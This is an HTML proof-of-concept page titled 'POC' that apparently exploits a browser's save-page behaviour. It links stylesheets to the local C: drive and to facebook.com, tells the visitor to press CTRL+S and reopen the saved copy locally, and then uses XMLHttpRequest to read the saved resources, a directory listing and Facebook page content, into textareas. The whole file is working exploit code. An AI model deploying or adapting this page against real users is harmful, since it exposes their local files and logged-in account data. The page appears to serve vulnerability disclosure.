sa.html

<html>
<head>
    <title>POC</title>
    <link rel="stylesheet" href="file:///C://" />
    <link rel="stylesheet" href="https://www.facebook.com/" />
</head>
<body>
    <textarea style="width: 434px; height: 310px;" id="facebook"></textarea>
    <textarea style="width: 434px; height: 310px;" id="files"></textarea>
    <script type="application/javascript">
        var doQ = (q) => { //Simple XMLHttpRequest
            try {
                var oReq = new XMLHttpRequest();
                oReq.addEventListener("load", function(e) {
                    console.dir(e)
                });
                oReq.open("GET", q, false);
                oReq.send();
				
            } catch (e) {
                alert('File not found or restricted.')
            };
            return oReq.response;
        };
        if (location.protocol == 'file:') {
            facebook.value = doQ('./POC_files/a.htm');
            files.value = doQ('./POC_files/a');
        } else {
            alert('Please hit CTRL+S and save this page first then open it locally.');
        }
    </script>
</body>
</html>